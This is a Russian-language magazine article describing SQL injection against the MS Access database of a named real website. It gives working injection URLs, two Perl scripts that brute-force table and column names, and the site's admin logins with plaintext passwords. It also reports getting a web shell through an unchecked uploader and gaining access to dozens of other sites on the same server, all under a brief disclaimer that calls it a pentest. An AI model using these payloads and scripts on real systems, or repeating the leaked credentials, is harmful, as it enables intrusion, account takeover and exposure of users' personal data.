Полный доступЕвгений «Corwin» Ермаков (corwin.freeweb7.com) Хакер, номер #112, стр. 112-070-1 Получаем данные через MS AccessПроводя пентест одного из серверов, я столкнулся с нестандартной для меня СУБД– MSAccess. С чем только до этого не приходилось работать, но с продуктами от MS еще ни разу! Прочитав с десяток страниц документации из ebooks и отдельных публикаций, я решил протестировать полученные навыки на другом, ранее также недоломанном из-за незнания сервере, работающем в связке с Access. И что же из этого вышло? HistoryПервый вопрос, который возник – откуда же был взят линк и зачем мне вообще был нужен этот сервер? Такое бывает, когда за день приходится просерфить огромное количество хостов. Недолго мучаясь, я вспомнил, что линк был найден на сайте М. Фленова, но автор ничего из этого не получил и лишь написал, что баг может привести к опасным последствиям. Сама ссылка на уязвимый скрипт: http://compostingcouncil.org/section.cfm?id=-1. По шаблонуДалее все стандартно. Количество выбираемых из первого запроса полей можно подобрать примитивным подбором или использовать оператор order by. На запрос http://compostingcouncil.org/section.cfm?id=-1 order by 13 сервер вывел пустую страницу, что говорило о большем количестве столбцов. После запроса http://compostingcouncil.org/section.cfm?id=-1 order by 14 была получена ошибка: ... ODBC Error Code = S1000 (General error) [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '14' as a valid field name or expression. The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:59). ... Это означало, что количество столбцов – 13. Смотрим принтабельные столбцы. Был составлен такой запрос: http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from MSysObjects После чего на странице появились порядковые номера принтабельных столбцов – 6,7,8,9. Теперь получить названия всех таблиц было делом техники. Для этого мы выбираем столбец name из системной таблицы MSysObjects. Есть лишь одно «но» – доступ к этой таблице по умолчанию запрещен. Однако в этот раз мне повезло – на странице появились названия всех таблиц находившихся в базе: AccessLayout Admin Articles Calendar DataAccessPages Databases Forms Links Links Query Links Query1 Modules MSysAccessObjects MSysACEs MSysDb MSysObjects MSysQueries MSysRelationships nav_left News Publications Relationships Reports Scripts Sections Sections Query sections2 Query Special Query SummaryInfo SysRel Tables UserDefined Users Таблицы и поля Обратившись к таблице Admin, я был удивлен тем, что получил сообщение: такая таблица не найдена. Смирившись, я обратился к таблице Users: http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from Users Теперь все прошло нормально. Оставалось лишь подобрать названия колонок. Достаточно быстро было подобрано название колонки с id пользователей – userid. Перебирая всевозможные комбинации слов, которые могли составлять название колонки с логинами юзеров, я понял, что логичнее будет посмотреть название переменной, которая передавалась через форму входа в админку. Благо эта самая форма располагалась по стандартному адресу http://compostingcouncil.org/admin. Попытки войти в админку, внедряя запросы к базе, оказались бесполезны. Я испробовал следующие комбинации: login: " OR 1=1%00 pass: login: ' OR 1=1%00 pass: NULL-байт(%00) здесь выступает в качестве комментария. Поэтому я отбросил эту затею и просмотрел исходник страницы. На что получил следующий кусок кода: <form action="index.cfm" method="POST"> <tr><td><b>User name:</b></td><td><input type="Text" name="loginname" size="10"></td></tr> <tr><td><b>Password:</b></td><td><input type="password" name="password" size="10"></td></tr> <tr><td colspan="2" align="center"><input type="Submit" value="Submit"></td></tr> </form> Видно, что название поля ввода, вероятно, имеет значение loginname. Проверяем. http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,9,10,11,12,13 from Users Действительно! На выходе получаем логины юзеров: noonan black office Остается подобрать название поля с паролями. По логике попробовал название поля для ввода пароля. Но – не подошло. После продолжительного ручного брута было принято решение заюзать скрипт для перебора. Принцип работы скрипта элементарен – подставлять название колонки, взятое построчно из файла-словаря, и парсинг ответа сервера. Если в ответе присутствует заранее заданная строка, то название подобрано верно. Вот, собственно, сам скрипт: Брутфорс названий столбцов#!usr/bin/perl use LWP::UserAgent; sub brute($column,$priznak) { $url="http://compostingcouncil.org/section.cfm?id=-1+union+select+1,2,3,4,5,6,".$column.",8,9,10,11,12,13+from+Users"; $client = LWP::UserAgent->new( ) or die; $answer = $client->get($url); if (index($answer->content,$priznak)>-1){ print $column; } } $priznak="<title>6 - US Composting Council</title>";# Этот код будет присутствовать в ответе сервера, если #запрос успешно выполнится. open(COLUMNS,"C:/Documents and Settings/Evgen/Рабочий стол/testsql.txt") || die "Con not open file with columns names!"; #Путь к файлу с названиями таблиц/колонок. print "...\n"; while (defined($column=<COLUMNS>)) { &brute($column,$priznak); } close(COLUMNS); Так было подобрано название столбца с паролями – loginpassword. Оставалось сделать финальные запросы: http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12,13 from Users where userid=1 http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12,13 from Users where userid=2 http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12,13 from Users where userid=3 И получить заветные акаунты: login:password -------------- noonan:testing black:mega office:giga -------------- На этот раз название таблицы получилось подобрать самому, но если это не удастся, то можно заюзать следующий скрипт, работающий по тому же алгоритму, что и брутер колонок: Брутфорс названий таблиц#!usr/bin/perl use LWP::UserAgent; $priznak="<title>6 - US Composting Council</title>"; sub brute($table,$priznak) #Функция перебора { $url="http://compostingcouncil.org/section.cfm?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+".$table."/*"; $client = LWP::UserAgent->new( ) or die; $answer = $client->get($url); # Отправляем запрос #Если указанный текс в ответе присутствует, то выводим имя текущей таблицы. if (index($answer->content,$priznak)>-1){ print $table; } } open(TABLES,"C:/Documents and Settings/Evgen/Рабочий стол/testsql.txt") || die "Con not open file with tables names!"; print "...\n"; while (defined($table=<TABLES>)) { #Пока не закончатся строчки в файле – перебираем. &brute($table,$priznak); # Вызываем функцию подбора передавая ей # имя таблицы, взятое из файла. } close(TABLES); Как видишь, совсем не обязательно использовать тяжеловесные утилиты для решения простых задач. Копаемся во внутренностяхВ админке ничего сверхъестественного найдено не было – новости, юзеры, загрузка pdf-документов и изображений... А вот в юзерах было достаточно много интересной информации. В основном пользователями сайта были работники корпораций, государственные служащие. И про каждого из них была полная информация, в том числе адреса, телефоны, истории всех транзакций. Мне-то все это было не нужно (на то он и пентест), но попади такая инфа в нехорошие руки... Ладно, настало время копать дальше. Аплоадер файлов, как я и надеялся, не проверял содержимое всего, что через него грузилось, и в итоге я заимел шелл. Ради интереса я скачал сорцы того самого бажного скрипта и другого, не поддавшегося инъекции сценария для входа в админку. Различия, что называется, видны невооруженным взглядом. Часть кода section.cfm: ... <cfquery name="getsection" datasource="uscc" dbtype="ODBC"> SELECT * FROM Sections Where id = #url.id# </cfquery> ... Часть кода secure.cfm, отвечающего за авторизацию: ... <cfquery name="CheckName" datasource="USCC"> SELECT * FROM Users WHERE LoginName = '#LoginName#' AND LoginPassword = '#Password#' </cfquery> ... Финальные аккордыКак выяснилось позже, на сервере крутилось еще несколько десятков сайтов, к которым я получил полный доступ. Затем было обнаружено, что сервер был одним из любимчиков Google - PR=6. Пиар остальных сайтов, которые хостил этот дедик, я и не думал проверять... WWWПоскольку эта статья не является подробным пособием по внедрению sql-запросов в MS Access, я настоятельно рекомендую прочесть следующие мануалы: INFOНе стоит воспринимать данную информацию, как повод для атаки на базы данных, так как даже простейшие запросы к БД могут стать поводом к возбуждению уголовного дела. Статья предназначена для руководителей компаний, коммерческих предприятий и... для общего развития. DVDИщи на диске простые perl-скрипты, рассмотренные в статье, nfm веб-шелл, а также полезные сценарии, написанные на ColdFusion Markup. VIDEOНа DVD ты найдешь познавательный видеоролик, демонстрирующий описанные в статье действия пентестера. |